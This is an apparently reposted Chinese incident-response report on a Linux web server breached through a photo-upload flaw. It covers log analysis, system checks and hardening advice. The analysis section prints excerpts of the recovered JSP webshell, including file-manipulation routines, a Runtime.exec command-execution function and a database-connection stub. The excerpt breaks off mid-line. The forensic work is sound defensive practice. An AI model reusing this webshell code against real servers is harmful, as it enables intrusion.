Linux 入侵 web 木马 JSP.docx
- 文档编号:5075649
- 上传时间:2022-12-13
- 格式:DOCX
- 页数:17
- 大小:100.16KB
Linux 入侵 web 木马 JSP.docx
《Linux 入侵 web 木马 JSP.docx》由会员分享,可在线阅读,更多相关《Linux 入侵 web 木马 JSP.docx(17页珍藏版)》请在冰豆网上搜索。
Linux入侵web木马JSP
author:
bobkey
date:
2006.07.26
mail:
toqinboAT
从宏观角度看待这次入侵,并分析其中的细节。
关键字:
Linux入侵web木马JSP
接到某公司的应急响应请求,在电话里大致描述了一台linuxAS4的web服务器遭受入侵。
下午2点30分,赶达现场,对被入侵并已经恢复的服务器进行检测,目标是发现攻击者入侵的途径、确认攻击者入侵后对服务器的影响,同时提出安全建议,避免相同事件的再次发生。
以下是处理过程:
3-1511:
30接到应急响应请求,并和深圳浩天巫思诺联系,决定下午到现场处理。
3-1514:
30到现场并和客户一起讨论了目前的网络拓扑、网站配置,以及发现的入侵情况。
网络拓扑如下:
网站初期发现首页出现乱码,在追查的情况下发现页面被修改(由于有页面同步机制,导致攻击者的页面被及时恢复,对网站影响不大)。
从网站服务器APCHE日志中追查到攻击行为,发现JSP后门,同时发现攻击的方法,是通过相片上传的漏洞导致的安全问题。
之后通知了开发修改程序,删除了相关的后门。
3-1515:
20在客户陪同下,和开发部门经理进行了沟通,大致了解了目前发现的问题。
目前开发部门已经强制修改上传文件的后缀为“JPG”,基本能解决上传的问题。
我提出希望能得到存在威胁的开发代码进行分析。
3-1515:
40~17:
30我远程登陆了五台服务器,包括三台WWW服务器,一台文件服务器和一台管理服务器,经过检查,未发现服务器的操作系统被入侵或者植入后门。
和客户协商后,决定提供APCHE日志,绿我第二天下载后进行分析。
3-16下载日志文件,4.3G,当天下班前才下载完。
3-17~3-20,对日志进行分析,整理分析报告。
分析结果如下:
1.系统分析,系统层面安全,系统文件、进程等正常。
检查了系统的history纪录、lastcomm纪录、/var/log/secure*/var/log/message*,没有发现可疑信息。
检查如下没有发现可疑现象:
口令文件、常用二进制HASH值、crond、suid&sgid文件、/etc/profile、/etc/rc*.d各启动脚本属性、各隐藏文件的内容、加载的模块信息、工具chkrootkit扫描信息。
其中SUID文件如下,此类文件可作为权限提升途径,检查未发现异常:
-rwsr-xr-x1root602962005-07-27/bin/umount
-rwsr-xr-x1root619272005-06-20/bin/su
-rwsr-xr-x1root923042005-07-27/bin/mount
-rwsr-xr-x1root280402004-10-11/bin/traceroute
-rwsr-xr-x1root323122005-07-19/bin/ping6
-rwsr-xr-x1root365682005-07-19/bin/ping
-rwsr-xr-x1root154882005-07-19/bin/traceroute6
-rws--x--x1root24117782005-09-20/usr/X11R6/bin/Xorg
-rws--x--x1root201042005-07-27/usr/bin/chsh
-rwsr-xr-x1root86242005-07-13/usr/bin/kpac_dhcp_helper
-rwxr-sr-x1mail196722004-06-16/usr/bin/lockfile
-rws--x--x1root109202005-07-27/usr/bin/newgrp
---s--x--x1root1049922005-07-21/usr/bin/sudo
-rwxr-sr-x1tty143282005-07-27/usr/bin/write
-r-s--x--x1root277282005-06-17/usr/bin/passwd
-r-xr-sr-x1tty142722005-07-01/usr/bin/wall
-rwsr-xr-x1root773782005-07-12/usr/bin/crontab
-rwxr-sr-x1slocate406322005-08-09/usr/bin/slocate
-rwsr-xr-x1root239712005-09-12/usr/bin/lppasswd
-rwsr-xr-x1root78882005-07-13/usr/bin/kgrantpty
-rwsr-xr-x1root322322005-08-20/usr/bin/sg
-rwsr-xr-x1root514562005-08-20/usr/bin/gpasswd
-rwsr-xr-x1root154482005-02-15/usr/bin/rlogin
-rwsr-xr-x1root498802005-06-18/usr/bin/at
-rws--x--x1root222322005-07-27/usr/bin/chfn
-rwsr-xr-x1root500962005-08-20/usr/bin/chage
-rwxr-sr-x1nobody677362005-09-07/usr/bin/ssh-agent
-rwsr-xr-x1root198642005-02-15/usr/bin/rcp
-rwsr-xr-x1root112242005-02-15/usr/bin/rsh
-rwsr-xr-x1root134642005-08-20/usr/libexec/pt_chown
-rws--x--x1root5418692005-09-07/usr/libexec/openssh/ssh-keysign
-rwx--s--x1utmp288192005-07-04/usr/lib/vte/gnome-pty-helper
-rwsr-xr-x1root202642005-08-05/usr/sbin/usernetctl
-rwxr-sr-x1utmp212922004-06-16/usr/sbin/utempter
-rwxr-sr-x1smmsp7482962004-09-01/usr/sbin/sendmail.sendmail
-rws--x--x1root407762004-10-20/usr/sbin/userhelper
-rwxr-sr-x1lock142722005-07-19/usr/sbin/lockdev
-rwsr-xr-x1root89922004-10-05/usr/sbin/userisdnctl
-r-sr-xr-x1root3742402005-08-29/sbin/pwdb_chkpwd
-rwxr-sr-x1root159222005-08-05/sbin/netreport
-r-s--x--x1root257562005-08-29/sbin/pam_timestamp_check
-r-sr-xr-x1root564422005-08-29/sbin/unix_chkpwd
所有人可读写目录如下,攻击者可利用此类目录窜改文件,破坏文件完整性,其中/usr/local/为mount到NFS服务器的:
-rw-rw-rw-root012月2505:
34/selinux/user
-rw-rw-rw-1root012月2505:
34/selinux/relabel
-rw-rw-rw-1root012月2505:
34/selinux/create
-rw-rw-rw-1root012月2505:
34/selinux/access
-rw-rw-rw-1root012月2505:
34/selinux/context
/usr/local/(此目录为mount到NFS服务器的)
系统访问控制iptable启用,由于目前并无硬件防火墙,对于主机的防护依赖于iptables,但从下面可看出规则颗粒太粗,而且默认的策略是并不完善,所有连接都可以向外访问,攻击者可通过反连的方式实现攻击,需改进:
l默认策略包括INPUTFORWARDOUTPUT是全部ACCEPT
l禁止部分地址的完全访问
l允许ICMPUDP的5353和631端口
l状态为RELATED,ESTABLISHED可外连
l允许61.145.116.133访问UDP/161端口的snmp服务端口
l允许18.19.148.101访问TCP/端口22的sshd端口
2.WEB日志分析,发现攻击者通过文件上传进行攻击,并上传了后门程序,在不同目录中建立了可疑文件:
可疑IP地址:
220.164.132.80、210.51.14.194北京市网通、61.166.14.66云南省临沧市电信、220.163.14.246220.163.14.246、220.164.128.201云南省临沧市、220.165.155.30云南省临沧市
可疑目录和文件:
/my/files/images/credit/002/013/test.jsp、/public/riji/static/index/.svn/props/index_right.html.svn-work.jsp、/my/files/images/album/002/676/gkepoqxllccleve2349.jsp、/usr/local/
3.攻击者在2-23上传后门,并最少在2-26,3-10企图再次使用后门:
220.164.132.80--[23/Feb/2007:
00:
24:
51+0800]"GET/my/files/images/album/002/676/gkepoqxllccleve2349.jspHTTP/1.1"2001538"photoId=877559&error=""Mozilla/4.0(compatible;MSIE7.0;WindowsNT5.2;Maxthon;.NETCLR1.1.4322)""Apache=220.164.132.80.1172159717231875;mysso_id=2676716;mysso_uid=2676716;mysso_account=2676716;mysso_ticket=9A4B7AB5FF409485945924226C1F0234;mysso_email=12143117%;mysso_nick=%B2%CB%B5%D8;member_name=33756,22320;JSESSIONID=aHgOqYLdm-bf7cNpQd"USER_TRACKING_COOKIE=220.164.132.80.1172159717231875
从上面的记录中,我们可以分析攻击者首先在网站上注册,SSO_UID=267671,以及相关的邮件地址、用户名等。
然后通过上传相片的漏洞上传了木马程序
220.165.155.30--[26/Feb/2007:
16:
14:
45+0800]"POST/my/files/images/album/002/676/gkepoqxllccleve2349.jspHTTP/1.1"200601""Mozilla/4.0(compatible;MSIE7.0;WindowsNT5.2;Maxthon;.NETCLR1.1.4322)""Apache=220.164.132.80.1172162270835877;JSESSIONID=a7sBmwr0Q__as3HY8d"USER_TRACKING_COOKIE=220.164.132.80.1172162270835877
在2-26记录中,攻击者没有登陆网站的情况下,直接访问后门程序。
220.163.14.246--[10/Mar/2007:
21:
21:
05+0800]"GET/search/search_test.jspHTTP/1.1"404614"-""Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1)""-"USER_TRACKING_COOKIE=220.163.14.246.1173532865451657
220.163.14.246--[10/Mar/2007:
21:
21:
18+0800]"GET/public/riji/static/index/.svn/props/index_right.html.svn-work.jspHTTP/1.1"404643"-""Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1)""Apache=220.163.14.246.1173532865451657"USER_TRACKING_COOKIE=220.163.14.246.1173532865451657
220.163.14.246--[10/Mar/2007:
21:
21:
25+0800]"GET/my/files/images/credit/002/013/test.jspHTTP/1.1"404629"-""Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1)""Apache=220.163.14.246.1173532865451657"USER_TRACKING_COOKIE=220.163.14.246.1173532865451657
在3-10的记录中,攻击者企图再次访问后门程序,但已经被管理员删除。
4.后门程序分析看,攻击者只上传了针对文件系统操作的后门,并未针对上传直接操作系统命令的后门,所以暂时只以修改网页为主。
也可能是攻击者未准备好控制系统的JSP后门,所以在日志中的操作主要以建立和隐藏文件后门为主。
攻击者建立的后门程序包括search_test.jsp、test.jsp、index_right.html.svn-work.jsp:
curPath=/usr/local/fsAction=createFile&fileName=search_test.jsp
curPath=/usr/local/fsAction=createFolder&folderName=013
curPath=/usr/local/fsAction=createFile&fileName=test.jsp
curPath=/usr/local/fsAction=createFile&fileName=index_right.html.svn-work.jsp
临时解决办法:
1.修改应用程序代码,避免出现同类情况,建议代码避免在客户端进行校验,限制上传文件类型为图片,并限制上传文件的目录。
2.建议在相片目录查找所有jsp文件并查看,如果可疑请删除,参考查找命令:
find/directory–typef–name*.js–print
安全建议办法
1.修改服务器配置,降低风险,包括修改PHOTO等目录的执行权限,使上传后的文件只允许读写,这样就算攻击者上传后门程序,也因为无执行权限,无法执行。
例如可修改NFS服务器的被mount目录的权限不允许执行和修改
2.检查RESIN程序的运行权限,在检查过程中发现RESIN现在的运行权限是root,攻击者一定获得JSP后门,以RESIN权执行,则可以修改系统中的所有文件,建议根据应用需要,设置为最低权限。
假如需要使用root权限,建议采用chroot模式。
3.重新配置IPTABLES对外连做限制,把规则颗粒编写更细;
4.建议Linux操作系统做安全加固;
root的crontab配置中存在/root/auto_ftp.sh,此script保存了ftp服务器的账号口令,存在潜在的内网攻击威胁;
部分结果分析
上传的search_test.jsp
分析后发现只有如下函数模块getListmkdirdeldirdeleFilecreateFilereadFile
此脚本只有对文件和目录的操作,不能得到系统的shell.
publicbooleandeldir(StringstrPath){
try{
files=newFile(strPath.toString());
if(files.exists()){
FilelistFile[]=files.listFiles();
for(inti=0;i if(listFile[i].isDirectory()){ listFile[i].delete(); } else{ listFile[i].delete(); } } files.delete(); } } catch(Exceptione){ e.printStackTrace(); } returntrue; } publicbooleandeleFile(StringstrPath){ try{ files=newFile(strPath.toString()); if(files.exists()){ files.delete(); } } catch(Exceptione){ e.printStackTrace(); } returntrue; } publicbooleancreateFile(StringstrPath,Stringcontent){ BufferedWriterbw=null; try{ files=newFile(strPath.toString()); bw=newBufferedWriter(newOutputStreamWriter(newFileOutputStream(files),"gb2312")); bw.write(content,0,content.length()); bw.flush(); } catch(IOExceptione){ System.out.println("filewriteerror"+e.getMessage()); } finally{ try{ bw.close(); } catch(IOExceptione){ e.printStackTrace(); } } returntrue; } 此木马可以执行Linux系统命令! publicStringexeCmd(Stringcmd){ Runtimeruntime=Runtime.getRuntime(); Processproc=null; StringretStr=""; InputStreamReaderinsReader=null; char[]tmpBuffer=newchar[1024]; intnRet=0; try{ proc=runtime.exec(cmd); insReader=newInputStreamReader(proc.getInputStream(),Charset.forName("GB2312")); while((nRet=insReader.read(tmpBuffer,0,1024))! =-1){ retStr+=newString(tmpBuffer,0,nRet); } insReader.close(); retStr=HTMLEncode(retStr); }catch(Exceptione){ retStr=" }finally{ returnretStr; } } 上传的test.jsp 此木马可以连接oracle和sqlserver、mysql数据库! publicbooleanDBInit(StringdbType,StringdbServer,StringdbPort,StringdbUsername,StringdbPassword,StringdbName){ booleanbRet=true; StringdriverName=""; if(dbServer.equals("")) dbServer="localhost"; try{ if(dbType.equals("sqlserver")){ driverName="com.microsoft.jdbc.sqlserver.SQLServerDriver"; if(dbPort.equals("")) dbPort="1433"; _url="jdbc: microsoft: sqlserver:
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- Linux 入侵 web 木马 JSP